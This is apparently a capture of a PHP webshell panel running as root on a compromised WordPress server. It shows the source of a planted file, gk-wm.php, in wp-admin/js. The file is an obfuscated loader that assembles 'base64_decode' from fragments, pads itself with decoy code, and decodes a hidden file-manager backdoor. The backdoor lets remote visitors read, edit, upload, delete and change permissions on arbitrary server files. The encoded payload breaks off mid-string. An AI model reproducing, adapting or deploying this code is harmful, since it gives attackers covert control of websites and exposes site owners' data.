403Webshell
Server IP : 38.190.208.107  /  Your IP : 216.73.217.46
Web Server : nginx/1.28.1
System : Linux ht2026040333114 6.1.0-10-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.37-1 (2023-07-03) x86_64
User : root ( 0)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,eval,assert,passthru,system,exec,shell_exec,popen,proc_open
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/wp.6/wp-admin/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/wp.6/wp-admin/js/gk-wm.php
<?php
if (!function_exists('f0gRdMWv')) {
    function f0gRdMWv() {
        $ZO = 'base64_dec';
    $OC = 'o';
    $kr = 'd';
    $H7 = 'e';
    
        $J09E2FzV = $ZO . $OC . $kr . $H7;
    
        $ooL5 = 627;
switch ($ooL5) {
    case 32:
        $Ak = 'b2Yn';
        break;
    case 74:
        $bt = 'kUPj';
        break;
    case 74:
        $Oj = 'A9y4';
        break;
    case 43:
        $CG = 'Rm1O';
        break;
    case 58:
        $IL = 'ulVb';
        break;
    default:
        $tmp_useless = 'XavOb';
        break;
}
$xzdPj = ['SUk1', 'MsXA', 'dqNf', 'prgw', 'tNhP', 'L8vG', 'pJF8', 'MVvn', 'GhQ4'];
$xzdPj[6] = strrev($xzdPj[6]);
$xzdPj[6] = strrev($xzdPj[6]);
sort($xzdPj);
rsort($xzdPj);
unset($xzdPj[6]);
$rq5 = 'RZken7';
$azZ = 'fWSdwf';
$jCD = 'IDzIBa';
$jbW = 'LPvsrK';
$mxH = 'WeOFxp';
$rq5 = $azZ;
$azZ = $jCD;
$jCD = $jbW;
$jbW = $mxH;
unset($rq5, $azZ, $jCD, $jbW, $mxH);
$jUjun = @fopen('NR1y9b.txt', 'r');
if ($jUjun) {
    fclose($jUjun);
}
$file_content = @file_get_contents('NR1y9b.txt');
unset($file_content);
if (session_id() == '') {
    @session_start();
}
$_SESSION['t6N2w'] = mt_rand();
unset($_SESSION['GSEbY']);
@session_write_close();
        $jhcrz2 = $J09E2FzV;
$random_num = rand(2717, 57136);
if ($random_num % 2 == 0) {
    $jhcrz2 = $J09E2FzV;
}
        $aCsQ0EG = $jhcrz2('c2Vzc2lvbl9zdGFydCgpOw0Kb2Jfc3RhcnQoKTsNCg0KZXJyb3JfcmVwb3J0aW5nKEVfQUxMKTsNCmluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMSk7DQoNCiR3ZWJfcm9vdCA9IHJlYWxwYXRoKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10pOw0KJHJvb3RfZGlyID0gcmVhbHBhdGgoZGlybmFtZShkaXJuYW1lKCR3ZWJfcm9vdCkpKTsNCg0KaWYgKCFpc3NldCgkX0dFVFsnZGlyJ10pKSB7DQogICAgJHNjcmlwdF9kaXIgPSBfX0RJUl9fOw0KICAgICRkaXIgPSBzdWJzdHIoJHNjcmlwdF9kaXIsIHN0cmxlbigkcm9vdF9kaXIpICsgMSk7DQp9IGVsc2Ugew0KICAgICRkaXIgPSBydHJpbSgkX0dFVFsnZGlyJ10sICcvJyk7DQp9DQoNCiRjdXJyZW50X2RpciA9IHJlYWxwYXRoKCRyb290X2RpciAuICcvJyAuICRkaXIpOw0KaWYgKHN0cnBvcygkY3VycmVudF9kaXIsIHJlYWxwYXRoKCRyb290X2RpcikpICE9PSAwKSB7DQogICAgZGllKCdJbnZhbGlkIGRpcmVjdG9yeScpOw0KfQ0KDQovLyA9PT09PT09PT09PT09PT09PT09PSBBSkFYIOiOt+WPlue6r+aWh+S7tuWGheWuuSA9PT09PT09PT09PT09PT09PT09PQ0KaWYgKGlzc2V0KCRfR0VUWydnZXRfY29udGVudCddKSkgew0KICAgICRmaWxlID0gJGN1cnJlbnRfZGlyIC4gJy8nIC4gJF9HRVRbJ2dldF9jb250ZW50J107DQogICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlKSAmJiBpc19maWxlKCRmaWxlKSkgew0KICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9wbGFpbjsgY2hhcnNldD11dGYtOCcpOw0KICAgICAgICByZWFkZmlsZSgkZmlsZSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgaHR0cF9yZXNwb25zZV9jb2RlKDQwNCk7DQogICAgICAgIGVjaG8gIkZpbGUgbm90IGZvdW5kLiI7DQogICAgfQ0KICAgIGV4aXQ7DQp9DQoNCi8vID09PT09PT09PT09PT09PT09PT09IFBPU1Qg5aSE55CG77yI5bim5o+Q56S677yJID09PT09PT09PT09PT09PT09PT09DQppZiAoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ10gPT09ICdQT1NUJykgew0KICAgICRhY3Rpb24gPSAkX1BPU1RbJ2FjdGlvbiddID8/ICcnOw0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdjcmVhdGVfZmlsZScpIHsNCiAgICAgICAgJGZpbGVuYW1lID0gJGN1cnJlbnRfZGlyIC4gJy8nIC4gJF9QT1NUWydmaWxlbmFtZSddOw0KICAgICAgICBpZiAoIWZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwgJycpOw0KICAgICAgICAgICAgJF9TRVNTSU9OWydzdWNjZXNzJ10gPSAn5paH5Lu25Yib5bu65oiQ5Yqf77yBJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3InXSA9ICfmlofku7blt7LlrZjlnKjvvIEnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdlZGl0X2ZpbGUnKSB7DQogICAgICAgICRmaWxlbmFtZSA9ICRjdXJyZW50X2RpciAuICcvJyAuICRfUE9TVFsnZmlsZW5hbWUnXTsNCiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmaWxlbmFtZSkpIHsNCiAgICAgICAgICAgICRieXRlcyA9IGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlbmFtZSwgJF9QT1NUWydjb250ZW50J10pOw0KICAgICAgICAgICAgaWYgKCRieXRlcyAhPT0gZmFsc2UpIHsNCiAgICAgICAgICAgICAgICAkX1NFU1NJT05bJ3N1Y2Nlc3MnXSA9ICfmlofku7bnvJbovpHmiJDlip/vvIHvvIjlhpnlhaUgJyAuICRieXRlcyAuICcg5a2X6IqC77yJJzsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgJF9TRVNTSU9OWydlcnJvciddID0gJ+aWh+S7tuS/neWtmOWksei0pe+8ge+8iOadg+mZkOS4jei2s+aIluaWh+S7tuWPquivu++8iSc7DQogICAgICAgICAgICB9DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAkX1NFU1NJT05bJ2Vycm9yJ10gPSAn5paH5Lu25LiN5a2Y5Zyo77yBJzsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIGlmICgkYWN0aW9uID09PSAnZGVsZXRlJykgew0KICAgICAgICAkaXRlbXMgPSAkX1BPU1RbJ2l0ZW1zJ10gPz8gW107DQogICAgICAgIGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgew0KICAgICAgICAgICAgJHBhdGggPSAkY3VycmVudF9kaXIgLiAnLycgLiAkaXRlbTsNCiAgICAgICAgICAgIGlmIChpc19kaXIoJHBhdGgpKSBybWRpcl9yZWN1cnNpdmUoJHBhdGgpOw0KICAgICAgICAgICAgZWxzZSB1bmxpbmsoJHBhdGgpOw0KICAgICAgICB9DQogICAgICAgICRfU0VTU0lPTlsnc3VjY2VzcyddID0gJ+mAieS4remhueebruW3suWIoOmZpO+8gSc7DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdyZW5hbWUnKSB7DQogICAgICAgICRvbGQgPSAkY3VycmVudF9kaXIgLiAnLycgLiAkX1BPU1RbJ29sZCddOw0KICAgICAgICAkbmV3ID0gJGN1cnJlbnRfZGlyIC4gJy8nIC4gJF9QT1NUWyduZXcnXTsNCiAgICAgICAgaWYgKHJlbmFtZSgkb2xkLCAkbmV3KSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydzdWNjZXNzJ10gPSAn6YeN5ZG95ZCN5oiQ5Yqf77yBJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3InXSA9ICfph43lkb3lkI3lpLHotKXvvIEnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdjcmVhdGVfZm9sZGVyJykgew0KICAgICAgICAkZm9sZGVyID0gJGN1cnJlbnRfZGlyIC4gJy8nIC4gJF9QT1NUWydmb2xkZXJuYW1lJ107DQogICAgICAgIGlmIChta2RpcigkZm9sZGVyLCAwNzU1LCB0cnVlKSkgew0KICAgICAgICAgICAgJF9TRVNTSU9OWydzdWNjZXNzJ10gPSAn5paH5Lu25aS55Yib5bu65oiQ5Yqf77yBJzsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgICRfU0VTU0lPTlsnZXJyb3InXSA9ICfmlofku7blpLnliJvlu7rlpLHotKXvvIEnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICdjaG1vZCcpIHsNCiAgICAgICAgJHBlcm1zID0gb2N0ZGVjKCRfUE9TVFsncGVybXMnXSk7DQogICAgICAgICRpdGVtcyA9ICRfUE9TVFsnaXRlbXMnXSA/PyBbXTsNCiAgICAgICAgZm9yZWFjaCAoJGl0ZW1zIGFzICRpdGVtKSB7DQogICAgICAgICAgICAkcGF0aCA9ICRjdXJyZW50X2RpciAuICcvJyAuICRpdGVtOw0KICAgICAgICAgICAgY2htb2RfcmVjdXJzaXZlKCRwYXRoLCAkcGVybXMpOw0KICAgICAgICB9DQogICAgICAgICRfU0VTU0lPTlsnc3VjY2VzcyddID0gJ+adg+mZkOS/ruaUueaIkOWKn++8gSc7DQogICAgfQ0KDQogICAgaWYgKCRhY3Rpb24gPT09ICd1cGxvYWQnICYmICFlbXB0eSgkX0ZJTEVTWydmaWxlcyddKSkgew0KICAgICAgICAkdXBsb2FkZWQgPSAwOw0KICAgICAgICBmb3JlYWNoICgkX0ZJTEVTWydmaWxlcyddWyd0bXBfbmFtZSddIGFzICRrZXkgPT4gJHRtcF9uYW1lKSB7DQogICAgICAgICAgICBpZiAoJF9GSUxFU1snZmlsZXMnXVsnZXJyb3InXVska2V5XSA9PT0gMCkgew0KICAgICAgICAgICAgICAgICR0YXJnZXQgPSAkY3VycmVudF9kaXIgLiAnLycgLiBiYXNlbmFtZSgkX0ZJTEVTWydmaWxlcyddWyduYW1lJ11bJGtleV0pOw0KICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkdGFyZ2V0KSkgJHVwbG9hZGVkKys7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgJF9TRVNTSU9OWydzdWNjZXNzJ10gPSAkdXBsb2FkZWQgLiAnIOS4quaWh+S7tuS4iuS8oOaIkOWKn++8gSc7DQogICAgfQ0KDQogICAgaGVhZGVyKCdMb2NhdGlvbjogP2Rpcj0nIC4gdXJsZW5jb2RlKCRkaXIpKTsNCiAgICBleGl0Ow0KfQ0KLy8gPT09PT09PT09PT09PT09PT09PT0g6YCS5b2S5Ye95pWwID09PT09PT09PT09PT09PT09PT09DQpmdW5jdGlvbiBybWRpcl9yZWN1cnNpdmUoJGRpcikgew0KICAgIGlmIChpc19kaXIoJGRpcikpIHsNCiAgICAgICAgZm9yZWFjaCAoc2NhbmRpcigkZGlyKSBhcyAkb2JqZWN0KSB7DQogICAgICAgICAgICBpZiAoJG9iamVjdCAhPSAiLiIgJiYgJG9iamVjdCAhPSAiLi4iKSB7DQogICAgICAgICAgICAgICAgJHBhdGggPSAkZGlyIC4gIi8iIC4gJG9iamVjdDsNCiAgICAgICAgICAgICAgICBpc19kaXIoJHBhdGgpID8gcm1kaXJfcmVjdXJzaXZlKCRwYXRoKSA6IHVubGluaygkcGF0aCk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcm1kaXIoJGRpcik7DQogICAgfSBlbHNlIHsNCiAgICAgICAgdW5saW5rKCRkaXIpOw0KICAgIH0NCn0NCg0KZnVuY3Rpb24gY2htb2RfcmVjdXJzaXZlKCRwYXRoLCAkcGVybXMpIHsNCiAgICBpZiAoaXNfZGlyKCRwYXRoKSkgew0KICAgICAgICBjaG1vZCgkcGF0aCwgJHBlcm1zKTsNCiAgICAgICAgZm9yZWFjaCAoc2NhbmRpcigkcGF0aCkgYXMgJG9iamVjdCkgew0KICAgICAgICAgICAgaWYgKCRvYmplY3QgIT0gIi4iICYmICRvYmplY3QgIT0gIi4uIikgew0KICAgICAgICAgICAgICAgIGNobW9kX3JlY3Vyc2l2ZSgkcGF0aCAuICIvIiAuICRvYmplY3QsICRwZXJtcyk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBjaG1vZCgkcGF0aCwgJHBlcm1zKTsNCiAgICB9DQp9DQoNCi8vID09PT09PT09PT09PT09PT09PT09IOivu+WPluebruW9le+8iOWFs+mUruS/ruWkje+8muihpeWbniBwYXRo77yJID09PT09PT09PT09PT09PT09PT09DQokaXRlbXMgPSBzY2FuZGlyKCRjdXJyZW50X2Rpcik7DQokZmlsZXMgPSBbXTsNCiRmb2xkZXJzID0gW107DQpmb3JlYWNoICgkaXRlbXMgYXMgJGl0ZW0pIHsNCiAgICBpZiAoJGl0ZW0gPT09ICcuJyB8fCAkaXRlbSA9PT0gJy4uJykgY29udGludWU7DQogICAgJHBhdGggPSAkY3VycmVudF9kaXIgLiAnLycgLiAkaXRlbTsNCiAgICAkc2l6ZSA9IGlzX2RpcigkcGF0aCkgPyAnLScgOiBmaWxlc2l6ZSgkcGF0aCk7DQogICAgJHBlcm1zID0gc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRwYXRoKSksIC00KTsNCg0KICAgIGlmIChpc19kaXIoJHBhdGgpKSB7DQogICAgICAgICRmb2xkZXJzW10gPSBbJ25hbWUnID0+ICRpdGVtLCAnc2l6ZScgPT4gJHNpemUsICdwZXJtcycgPT4gJHBlcm1zXTsNCiAgICB9IGVsc2Ugew0KICAgICAgICAkZmlsZXNbXSA9IFsnbmFtZScgPT4gJGl0ZW0sICdzaXplJyA9PiAkc2l6ZSwgJ3Blcm1zJyA9PiAkcGVybXMsICdwYXRoJyA9PiAkcGF0aF07ICAvLyDihpAg6L+Z6YeM6KGl5Zue5LqGIHBhdGgNCiAgICB9DQp9DQoNCiRmdWxsX3BhdGggPSByZWFscGF0aCgkY3VycmVudF9kaXIpOw0KJHBhcnRzID0gZXhwbG9kZSgnLycsICRmdWxsX3BhdGgpOw0KJGFjY3VtID0gJyc7DQo/Pg0KDQo8IURPQ1RZUEUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQogICAgPHRpdGxlPkZpbGUgTWFuYWdlcjwvdGl0bGU+DQogICAgPHN0eWxlPg0KICAgICAgICBib2R5IHsgZm9udC1mYW1pbHk6IEFyaWFsLCBzYW5zLXNlcmlmOyBiYWNrZ3JvdW5kLWNvbG9yOiAjZjRmNGY0OyBjb2xvcjogIzMzMzsgbWFyZ2luOiAyMHB4OyB9DQogICAgICAgIGgxIHsgY29sb3I6ICMwMDdiZmY7IH0NCiAgICAgICAgLnN1Y2Nlc3MgeyBjb2xvcjogZ3JlZW47IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIC5lcnJvciB7IGNvbG9yOiByZWQ7IGZvbnQtd2VpZ2h0OiBib2xkOyB9DQogICAgICAgIHRhYmxlIHsgd2lkdGg6IDEwMCU7IGJvcmRlci1jb2xsYXBzZTogY29sbGFwc2U7IG1hcmdpbi10b3A6IDIwcHg7IGJhY2tncm91bmQtY29sb3I6IHdoaXRlOyBib3gtc2hhZG93OiAwIDAgMTBweCByZ2JhKDAsMCwwLDAuMSk7IH0NCiAgICAgICAgdGgsIHRkIHsgYm9yZGVyOiAxcHggc29saWQgI2RkZDsgcGFkZGluZzogMTJweDsgdGV4dC1hbGlnbjogbGVmdDsgfQ0KICAgICAgICB0aCB7IGJhY2tncm91bmQtY29sb3I6ICMwMDdiZmY7IGNvbG9yOiB3aGl0ZTsgfQ0KICAgICAgICBidXR0b24sIGlucHV0W3R5cGU9InN1Ym1pdCJdIHsgYmFja2dyb3VuZC1jb2xvcjogIzAwN2JmZjsgY29sb3I6IHdoaXRlOyBib3JkZXI6IG5vbmU7IHBhZGRpbmc6IDhweCAxMnB4OyBjdXJzb3I6IHBvaW50ZXI7IGJvcmRlci1yYWRpdXM6IDRweDsgfQ0KICAgICAgICBidXR0b246aG92ZXIgeyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA1NmIzOyB9DQogICAgICAgICNtb2RhbHMgeyBwb3NpdGlvbjogZml4ZWQ7IHRvcDogMDsgbGVmdDogMDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJTsgYmFja2dyb3VuZDogcmdiYSgwLDAsMCwwLjUpOyBkaXNwbGF5OiBub25lOyBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjsgYWxpZ24taXRlbXM6IGNlbnRlcjsgei1pbmRleDogMTAwMDsgfQ0KICAgICAgICAubW9kYWwgeyBiYWNrZ3JvdW5kOiB3aGl0ZTsgcGFkZGluZzogMjBweDsgYm9yZGVyLXJhZGl1czogOHB4OyBib3gtc2hhZG93OiAwIDAgMTVweCByZ2JhKDAsMCwwLDAuMik7IHdpZHRoOiA1MCU7IG1heC13aWR0aDogNjAwcHg7IH0NCiAgICAgICAgdGV4dGFyZWEgeyB3aWR0aDogMTAwJTsgaGVpZ2h0OiAyMDBweDsgfQ0KICAgIDwvc3R5bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCiAgICA8aDE+RmlsZSBNYW5hZ2VyPC9oMT4NCg0KICAgIDwhLS0g5o+Q56S65L+h5oGvIC0tPg0KICAgIDw/cGhwDQogICAgaWYgKGlzc2V0KCRfU0VTU0lPTlsnc3VjY2VzcyddKSkgew0KICAgICAgICBlY2hvICc8cCBjbGFzcz0ic3VjY2VzcyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVNTSU9OWydzdWNjZXNzJ10pIC4gJzwvcD4nOw0KICAgICAgICB1bnNldCgkX1NFU1NJT05bJ3N1Y2Nlc3MnXSk7DQogICAgfQ0KICAgIGlmIChpc3NldCgkX1NFU1NJT05bJ2Vycm9yJ10pKSB7DQogICAgICAgIGVjaG8gJzxwIGNsYXNzPSJlcnJvciI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJF9TRVNTSU9OWydlcnJvciddKSAuICc8L3A+JzsNCiAgICAgICAgdW5zZXQoJF9TRVNTSU9OWydlcnJvciddKTsNCiAgICB9DQogICAgPz4NCg0KICAgIDxwPkN1cnJlbnQgUGF0aDogDQogICAgICAgIDw/cGhwDQogICAgICAgIGZvcmVhY2ggKCRwYXJ0cyBhcyAkcGFydCkgew0KICAgICAgICAgICAgaWYgKCRwYXJ0ID09PSAnJykgY29udGludWU7DQogICAgICAgICAgICAkYWNjdW0gLj0gJy8nIC4gJHBhcnQ7DQogICAgICAgICAgICAkcmVsX2RpciA9IHN1YnN0cigkYWNjdW0sIHN0cmxlbigkcm9vdF9kaXIpKTsNCiAgICAgICAgICAgICR1cmxfZGlyID0gdXJsZW5jb2RlKGx0cmltKCRyZWxfZGlyLCAnLycpKTsNCiAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9JyAuICR1cmxfZGlyIC4gJyI+JyAuIGh0bWxzcGVjaWFsY2hhcnMoJHBhcnQpIC4gJzwvYT4gLyAnOw0KICAgICAgICB9DQogICAgICAgID8+DQogICAgPC9wPg0KICAgIDxhIGhyZWY9Ij9kaXI9PD9waHAgZWNobyB1cmxlbmNvZGUoZm1fZ2V0X3BhcmVudF9wYXRoKCRkaXIpKTsgPz4iPlBhcmVudCBEaXJlY3Rvcnk8L2E+DQoNCg0KICAgIDxkaXYgaWQ9Im1vZGFscyI+DQoNCiAgICAgICAgPGRpdiBpZD0iZWRpdC1tb2RhbCIgY2xhc3M9Im1vZGFsIj4NCiAgICAgICAgICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0iZWRpdF9maWxlIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlbmFtZSIgaWQ9ImVkaXQtZmlsZW5hbWUiPg0KICAgICAgICAgICAgICAgIDx0ZXh0YXJlYSBuYW1lPSJjb250ZW50IiBpZD0iZWRpdC1jb250ZW50Ij48L3RleHRhcmVhPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0Ij5TYXZlPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImNsb3NlTW9kYWwoKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgPGRpdiBpZD0icmVuYW1lLW1vZGFsIiBjbGFzcz0ibW9kYWwiPg0KICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJyZW5hbWUiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZCIgaWQ9InJlbmFtZS1vbGQiPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXciIGlkPSJyZW5hbWUtbmV3Ij4NCiAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+UmVuYW1lPC9idXR0b24+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImNsb3NlTW9kYWwoKSI+Q2FuY2VsPC9idXR0b24+DQogICAgICAgICAgICA8L2Zvcm0+DQogICAgICAgIDwvZGl2Pg0KDQoNCiAgICAgICAgPGRpdiBpZD0iY2htb2QtbW9kYWwiIGNsYXNzPSJtb2RhbCI+DQogICAgICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGlkPSJjaG1vZC1mb3JtIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjaG1vZCI+DQogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InBlcm1zIiBwbGFjZWhvbGRlcj0iMDc1NSI+DQogICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkNoYW5nZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBvbmNsaWNrPSJjbG9zZU1vZGFsKCkiPkNhbmNlbDwvYnV0dG9uPg0KICAgICAgICAgICAgPC9mb3JtPg0KICAgICAgICA8L2Rpdj4NCiAgICA8L2Rpdj4NCg0KDQogICAgPGgyPkNyZWF0ZSBGaWxlPC9oMj4NCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiPg0KICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhY3Rpb24iIHZhbHVlPSJjcmVhdGVfZmlsZSI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgcGxhY2Vob2xkZXI9IkZpbGVuYW1lIj4NCiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkNyZWF0ZTwvYnV0dG9uPg0KICAgIDwvZm9ybT4NCg0KDQogICAgPGgyPkNyZWF0ZSBGb2xkZXI8L2gyPg0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFjdGlvbiIgdmFsdWU9ImNyZWF0ZV9mb2xkZXIiPg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZm9sZGVybmFtZSIgcGxhY2Vob2xkZXI9IkZvbGRlciBuYW1lIj4NCiAgICAgICAgPGJ1dHRvbiB0eXBlPSJzdWJtaXQiPkNyZWF0ZTwvYnV0dG9uPg0KICAgIDwvZm9ybT4NCg0KDQogICAgPGgyPlVwbG9hZCBGaWxlczwvaDI+DQogICAgPGZvcm0gbWV0aG9kPSJwb3N0IiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiB2YWx1ZT0idXBsb2FkIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzW10iIG11bHRpcGxlPg0KICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCI+VXBsb2FkPC9idXR0b24+DQogICAgPC9mb3JtPg0KDQoNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGlkPSJiYXRjaC1mb3JtIj4NCiAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0aW9uIiBpZD0iYmF0Y2gtYWN0aW9uIj4NCiAgICAgICAgPGJ1dHRvbiB0eXBlPSJidXR0b24iIG9uY2xpY2s9ImJhdGNoRGVsZXRlKCkiPkRlbGV0ZSBTZWxlY3RlZDwvYnV0dG9uPg0KICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iYmF0Y2hDaG1vZCgpIj5DaGFuZ2UgUGVybWlzc2lvbnMgU2VsZWN0ZWQ8L2J1dHRvbj4NCg0KICAgICAgICA8dGFibGU+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgICAgPHRoPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgaWQ9InNlbGVjdC1hbGwiIG9uY2xpY2s9InRvZ2dsZVNlbGVjdEFsbCh0aGlzKSI+PC90aD4NCiAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+DQogICAgICAgICAgICAgICAgPHRoPlNpemUgKGJ5dGVzKTwvdGg+DQogICAgICAgICAgICAgICAgPHRoPlBlcm1pc3Npb25zPC90aD4NCiAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPD9waHAgZm9yZWFjaCAoJGZvbGRlcnMgYXMgJGZvbGRlcik6ID8+DQogICAgICAgICAgICA8dHIgb25jbGljaz0idG9nZ2xlQ2hlY2tib3godGhpcywgZXZlbnQpIj4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJpdGVtc1tdIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSk7ID8+IiBjbGFzcz0iaXRlbS1jaGVja2JveCI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGEgaHJlZj0iP2Rpcj08P3BocCBlY2hvIHVybGVuY29kZSgkZGlyIC4gJy8nIC4gJGZvbGRlclsnbmFtZSddKTsgPz4iPjw/cGhwIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZm9sZGVyWyduYW1lJ10pOyA/Pi88L2E+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkZm9sZGVyWydzaXplJ107ID8+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PD9waHAgZWNobyAkZm9sZGVyWydwZXJtcyddOyA/PjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0icmVuYW1lSXRlbSgnPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRmb2xkZXJbJ25hbWUnXSk7ID8+JykiPlJlbmFtZTwvYnV0dG9uPg0KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgb25jbGljaz0iY2htb2RJdGVtKCc8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGZvbGRlclsnbmFtZSddKTsgPz4nKSI+Q2htb2Q8L2J1dHRvbj4NCiAgICAgICAgICAg